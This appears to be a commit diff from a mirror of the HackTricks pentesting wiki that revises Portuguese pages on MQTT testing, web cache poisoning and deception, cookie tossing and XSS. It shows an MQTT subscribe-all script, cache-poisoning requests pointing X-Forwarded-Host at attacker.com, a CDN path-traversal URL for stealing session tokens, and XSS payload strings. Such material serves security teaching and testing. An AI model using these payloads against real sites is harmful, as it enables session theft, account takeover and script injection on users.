mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui
This commit is contained in:
Translator
parent
0d175e75dd
commit
9070490603
@ -24,7 +24,7 @@ Por exemplo, se o broker rejeitar a conexão devido a credenciais inválidas, o
|
||||
```
|
||||
.png>)
|
||||
|
||||
### [**Força Bruta MQTT**](../generic-hacking/brute-force.md#mqtt)
|
||||
### [**Brute-Force MQTT**](../generic-hacking/brute-force.md#mqtt)
|
||||
|
||||
## Pentesting MQTT
|
||||
|
||||
@ -44,7 +44,7 @@ apt-get install mosquitto mosquitto-clients
|
||||
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
|
||||
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.
|
||||
```
|
||||
Ou você poderia **executar este código para tentar se conectar a um serviço MQTT sem autenticação, assinar todos os tópicos e ouvi-los**:
|
||||
Ou você poderia **executar este código para tentar se conectar a um serviço MQTT sem autenticação, se inscrever em todos os tópicos e ouvi-los**:
|
||||
```python
|
||||
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
|
||||
import paho.mqtt.client as mqtt
|
||||
@ -73,16 +73,12 @@ client.loop_start()
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Mais informações
|
||||
|
||||
from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b)
|
||||
|
||||
### O Padrão Publish/Subscribe <a href="#b667" id="b667"></a>
|
||||
|
||||
O modelo publish/subscribe é composto por:
|
||||
|
||||
- **Publisher**: publica uma mensagem em um (ou muitos) tópico(s) no broker.
|
||||
- **Subscriber**: se inscreve em um (ou muitos) tópico(s) no broker e recebe todas as mensagens enviadas pelo publisher.
|
||||
- **Publisher**: publica uma mensagem em um (ou vários) tópico(s) no broker.
|
||||
- **Subscriber**: se inscreve em um (ou vários) tópico(s) no broker e recebe todas as mensagens enviadas pelo publisher.
|
||||
- **Broker**: roteia todas as mensagens dos publishers para os subscribers.
|
||||
- **Topic**: consiste em um ou mais níveis que são separados por uma barra (por exemplo, /smartshouse/livingroom/temperature).
|
||||
|
||||
|
||||
@ -1,17 +1,17 @@
|
||||
# Envenenamento de Cache e Decepção de Cache
|
||||
# Cache Poisoning and Cache Deception
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## A diferença
|
||||
|
||||
> **Qual é a diferença entre envenenamento de cache web e decepção de cache web?**
|
||||
> **Qual é a diferença entre envenenamento de cache da web e engano de cache da web?**
|
||||
>
|
||||
> - No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
|
||||
> - Na **decepção de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
|
||||
> - No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
|
||||
> - No **engano de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
|
||||
|
||||
## Envenenamento de Cache
|
||||
|
||||
O envenenamento de cache visa manipular o cache do lado do cliente para forçar os clientes a carregar recursos que são inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente para usuários que visitam a página durante o período de contaminação do cache.
|
||||
O envenenamento de cache visa manipular o cache do lado do cliente para forçar os clientes a carregar recursos que são inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, uma vez que a resposta contaminada é servida exclusivamente para usuários que visitam a página durante o período de contaminação do cache.
|
||||
|
||||
A execução de um ataque de envenenamento de cache envolve várias etapas:
|
||||
|
||||
@ -25,7 +25,7 @@ Geralmente, quando uma resposta foi **armazenada em cache**, haverá um **cabeç
|
||||
|
||||
### Descoberta: Códigos de erro de cache
|
||||
|
||||
Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho inválido**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS).
|
||||
Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho ruim**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS).
|
||||
|
||||
Você pode encontrar mais opções em:
|
||||
|
||||
@ -52,11 +52,11 @@ Uma vez que você tenha **identificado** a **página** que pode ser abusada, qua
|
||||
O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\
|
||||
O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam chaveados. Portanto, se o usuário souber o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam aquele `User-Agent` específico.
|
||||
Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam indexados. Portanto, se o usuário souber o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam aquele `User-Agent` específico.
|
||||
|
||||
Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto esteve no cache do proxy.
|
||||
|
||||
Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **diferentes navegadores** para verificar se está funcionando.
|
||||
Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **indexados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **diferentes navegadores** para verificar se está funcionando.
|
||||
|
||||
## Exemplos de Exploração
|
||||
|
||||
@ -77,9 +77,17 @@ _Note que isso irá envenenar uma solicitação para `/en?region=uk` e não para
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
### Usando envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies
|
||||
### Envenenamento de cache através de CDNs
|
||||
|
||||
Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.
|
||||
Em **[este artigo](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** é explicado o seguinte cenário simples:
|
||||
|
||||
- A CDN irá armazenar em cache qualquer coisa sob `/share/`
|
||||
- A CDN NÃO irá decodificar nem normalizar `%2F..%2F`, portanto, pode ser usada como **traversal de caminho para acessar outras localizações sensíveis que serão armazenadas em cache** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- O servidor web Irá decodificar e normalizar `%2F..%2F`, e irá responder com `/api/auth/session`, que **contém o token de autenticação**.
|
||||
|
||||
### Usando envenenamento de cache web para explorar vulnerabilidades de manipulação de cookies
|
||||
|
||||
Cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Envenenamento de cache com travessia de caminho para roubar chave da API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
|
||||
[**Este relatório explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
|
||||
|
||||
Isso também é explicado melhor em:
|
||||
|
||||
@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
|
||||
Às vezes, você precisará **explorar várias entradas não chaveadas** para conseguir abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
@ -125,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar em cache o da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github:
|
||||
Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar o da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -136,7 +144,7 @@ report=innocent-victim
|
||||
```
|
||||
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Ocultação de Parâmetros
|
||||
### Encobrimento de Parâmetros
|
||||
|
||||
Por exemplo, é possível separar **parâmetros** em servidores ruby usando o caractere **`;`** em vez de **`&`**. Isso pode ser usado para colocar valores de parâmetros não-chave dentro de parâmetros chave e abusar deles.
|
||||
|
||||
@ -168,31 +176,31 @@ GitLab usa buckets GCP para armazenar conteúdo estático. **Buckets GCP** supor
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma negação de serviço (DoS) a esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança.
|
||||
Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma Negação de Serviço (DoS) a esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança.
|
||||
|
||||
### 403 e Buckets de Armazenamento
|
||||
|
||||
O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy.
|
||||
O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de Autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy.
|
||||
|
||||
### Injetando Parâmetros Chaveados
|
||||
|
||||
Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request armazenável em cache.
|
||||
Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenou em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.
|
||||
|
||||
### Regras de User Agent
|
||||
|
||||
Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego como FFUF ou Nuclei para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS.
|
||||
Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego, como FFUF ou Nuclei, para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS.
|
||||
|
||||
### Campos de Cabeçalho Ilegais
|
||||
|
||||
O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde enviar um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request armazenável em cache.
|
||||
O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.
|
||||
|
||||
### Encontrando novos cabeçalhos
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Decepção de Cache
|
||||
## Engano de Cache
|
||||
|
||||
O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**.
|
||||
O objetivo do Engano de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**.
|
||||
|
||||
Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. são geralmente **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
|
||||
|
||||
@ -206,12 +214,12 @@ Outras coisas a testar:
|
||||
- _Use extensões menos conhecidas como_ `.avif`
|
||||
|
||||
Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache irá salvar o resultado.\
|
||||
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\
|
||||
Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.
|
||||
|
||||
Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).
|
||||
Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo mime `text/css` (que é o esperado para um arquivo _.css_).
|
||||
|
||||
Aprenda aqui como realizar [ataques de Decepção de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Aprenda aqui como realizar [ataques de Engano de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Ferramentas Automáticas
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Se um atacante pode **controlar um subdomínio ou o domínio de uma empresa ou encontra um XSS em um subdomínio**, ele será capaz de realizar este ataque.
|
||||
|
||||
Como foi indicado na seção de Cookies Hacking, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.**
|
||||
Como foi indicado na seção de Hacking de Cookies, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Portanto, **um atacante poderá definir para o domínio e subdomínios um cookie específico fazendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
@ -14,7 +14,8 @@ Como foi indicado na seção de Cookies Hacking, quando um **cookie é definido
|
||||
Isso pode ser perigoso, pois o atacante pode ser capaz de:
|
||||
|
||||
- **Fixar o cookie da vítima na conta do atacante**, então se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante pode obter algumas informações interessantes (ver o histórico de buscas do usuário na plataforma, a vítima pode configurar seu cartão de crédito na conta...)
|
||||
- Se o **cookie não mudar após o login**, o atacante pode apenas **fixar um cookie (session-fixation)**, esperar até que a vítima faça login e então **usar esse cookie para fazer login como a vítima**.
|
||||
- Um exemplo disso [pode ser encontrado aqui](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) onde o atacante definiu seu cookie em seções específicas que uma vítima usará para autorizar **acesso aos seus repositórios git, mas a partir da conta do atacante**, já que ele estará definindo seus cookies nos endpoints necessários.
|
||||
- Se o **cookie não mudar após o login**, o atacante pode simplesmente **fixar um cookie (session-fixation)**, esperar até que a vítima faça login e então **usar esse cookie para fazer login como a vítima**.
|
||||
- Às vezes, mesmo que os cookies de sessão mudem, o atacante usa o anterior e também receberá o novo.
|
||||
- Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após a vítima fazer login), o **atacante pode definir esse valor conhecido e então abusar dele** (nesse cenário, o atacante pode então fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF).
|
||||
- Assim como definir o valor, o atacante também poderia obter um cookie não autenticado gerado pelo servidor, obter o token CSRF dele e usá-lo.
|
||||
@ -23,24 +24,24 @@ Isso pode ser perigoso, pois o atacante pode ser capaz de:
|
||||
|
||||
Quando um navegador recebe dois cookies com o mesmo nome **afetando parcialmente o mesmo escopo** (domínio, subdomínios e caminho), o **navegador enviará ambos os valores do cookie** quando ambos forem válidos para a solicitação.
|
||||
|
||||
Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro, como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
A maioria dos **sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor defini-lo antes que outro seja definido ou defini-lo com um caminho mais específico.
|
||||
A maioria **dos sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor defini-lo antes que outro seja definido ou defini-lo com um caminho mais específico.
|
||||
|
||||
> [!WARNING]
|
||||
> Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer com que a **vítima trabalhe com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado antes**.
|
||||
|
||||
### Bypass de Proteção
|
||||
|
||||
Uma possível proteção contra este ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas dois valores diferentes**.
|
||||
Uma possível proteção contra este ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas com dois valores diferentes**.
|
||||
|
||||
Para contornar o cenário onde o atacante está definindo um cookie após a vítima já ter recebido o cookie, o atacante poderia causar um **cookie overflow** e então, uma vez que o **cookie legítimo é deletado, definir o malicioso**.
|
||||
Para contornar o cenário em que o atacante está definindo um cookie após a vítima já ter recebido o cookie, o atacante poderia causar um **overflow de cookie** e então, uma vez que o **cookie legítimo é deletado, definir o malicioso**.
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
Outro **bypass** útil poderia ser **URL codificar o nome do cookie**, pois algumas proteções verificam 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies.
|
||||
Outro **bypass** útil poderia ser **URL codificar o nome do cookie**, já que algumas proteções verificam 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies.
|
||||
|
||||
### Cookie Bomb
|
||||
|
||||
@ -54,8 +55,8 @@ cookie-bomb.md
|
||||
|
||||
#### **Use o prefixo `__Host` no nome do cookie**
|
||||
|
||||
- Se um nome de cookie tiver esse prefixo, ele **será aceito apenas** em uma diretiva Set-Cookie se estiver marcado como Seguro, foi enviado de uma origem segura, não inclui um atributo Domain e tem o atributo Path definido como /
|
||||
- **Isso impede que subdomínios forcem um cookie para o domínio principal, uma vez que esses cookies podem ser vistos como "bloqueados por domínio"**
|
||||
- Se um nome de cookie tiver esse prefixo, ele **será aceito** em uma diretiva Set-Cookie apenas se estiver marcado como Seguro, foi enviado de uma origem segura, não incluir um atributo Domain e tiver o atributo Path definido como /
|
||||
- **Isso impede que subdomínios forcem um cookie para o domínio principal, já que esses cookies podem ser vistos como "bloqueados por domínio"**
|
||||
|
||||
### Referências
|
||||
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
|
||||
3. Você pode contornar proteções?
|
||||
4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md).
|
||||
5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendentes - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. Dentro de uma **tag HTML**:
|
||||
1. Você pode sair para o contexto HTML bruto?
|
||||
2. Você pode criar novos eventos/atributos para executar código JS?
|
||||
@ -19,7 +19,7 @@
|
||||
4. Você pode contornar proteções?
|
||||
3. Dentro do **código JavaScript**:
|
||||
1. Você pode escapar da tag `<script>`?
|
||||
2. Você pode escapar da string e executar código JS diferente?
|
||||
2. Você pode escapar a string e executar código JS diferente?
|
||||
3. Sua entrada está em literais de template \`\`?
|
||||
4. Você pode contornar proteções?
|
||||
4. Função Javascript **sendo executada**
|
||||
@ -37,7 +37,7 @@ debugging-client-side-js.md
|
||||
|
||||
Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página da web.
|
||||
|
||||
- **Refletido intermitentemente**: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderia explorar um **XSS Refletido**.
|
||||
- **Refletido intermediariamente**: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página da web, você poderia explorar um **XSS Refletido**.
|
||||
- **Armazenado e refletido**: Se você descobrir que um valor controlado por você está salvo no servidor e é refletido toda vez que você acessa uma página, você poderia explorar um **XSS Armazenado**.
|
||||
- **Acessado via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderia explorar um **DOM XSS**.
|
||||
|
||||
@ -47,7 +47,7 @@ Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde su
|
||||
|
||||
### HTML bruto
|
||||
|
||||
Se sua entrada está **refletida no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas tags HTML possíveis que você poderia usar.\
|
||||
Se sua entrada está **refletida no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... essas são apenas algumas das muitas possíveis tags HTML que você poderia usar.\
|
||||
Além disso, tenha em mente a [Injeção de Template do Lado do Cliente](../client-side-template-injection-csti.md).
|
||||
|
||||
### Dentro do atributo de tags HTML
|
||||
@ -57,7 +57,7 @@ Se sua entrada está refletida dentro do valor do atributo de uma tag, você pod
|
||||
1. **Escapar do atributo e da tag** (então você estará no HTML bruto) e criar uma nova tag HTML para abusar: `"><img [...]`
|
||||
2. Se você **pode escapar do atributo, mas não da tag** (`>` está codificado ou excluído), dependendo da tag, você poderia **criar um evento** que executa código JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se você **não pode escapar do atributo** (`"` está sendo codificado ou excluído), então dependendo de **qual atributo** seu valor está sendo refletido, **se você controla todo o valor ou apenas uma parte**, você poderá abusar disso. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
4. Se sua entrada está refletida dentro de "**tags não exploráveis**", você poderia tentar o truque do **`accesskey`** para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Exemplo estranho de Angular executando XSS se você controla um nome de classe:
|
||||
```html
|
||||
@ -116,7 +116,7 @@ Você também pode tentar **disparar funções Javascript** diretamente: `obj.sa
|
||||
|
||||
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
|
||||
|
||||
Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração **Same Origin Method Execution (SOME)** foi desenvolvida:
|
||||
Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, a exploração de **Same Origin Method Execution (SOME)** foi desenvolvida:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
